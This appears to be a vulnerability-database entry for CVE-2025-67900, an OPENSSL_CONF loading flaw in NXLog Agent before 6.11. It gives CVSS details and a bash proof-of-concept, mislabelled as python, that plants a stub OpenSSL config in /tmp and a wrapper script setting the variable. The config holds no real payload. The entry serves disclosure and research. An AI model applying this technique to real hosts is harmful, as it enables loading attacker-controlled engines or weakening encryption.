NXLog Agent before 6.11 can load a file specified by the OPENSSL_CONF environment variable.
CVSS Details
CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
NXLog Agent < 6.11
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash
# CVE-2025-67900 PoC - Malicious OpenSSL Configuration File
# This PoC demonstrates how OPENSSL_CONF can be exploited
# Create malicious OpenSSL configuration file
cat > /tmp/malicious_openssl.cnf << 'EOF'
# Malicious OpenSSL configuration for CVE-2025-67900
openssl_conf = openssl_init
[openssl_init]
algSection = algorithm_sect
[algorithm_sect]
default_properties = property_sect
[property_sect]
# Potentially malicious configurations
# In real attack, could include engine loading or weak cipher settings
EOF
# Set OPENSSL_CONF environment variable to point to malicious config
export OPENSSL_CONF=/tmp/malicious_openssl.cnf
# If NXLog Agent is running with elevated privileges or inherits this env,
# the malicious config will be loaded
echo "OPENSSL_CONF set to: $OPENSSL_CONF"
echo "Malicious config created at: /tmp/malicious_openssl.cnf"
echo "When NXLog Agent loads, it will use this config file"
# Alternative: Create a wrapper script that sets the env before launching
cat > /tmp/nxlog_wrapper.sh << 'EOF'
#!/bin/bash
export OPENSSL_CONF=/tmp/malicious_openssl.cnf
/usr/bin/nxlog "$@"
EOF
chmod +x /tmp/nxlog_wrapper.sh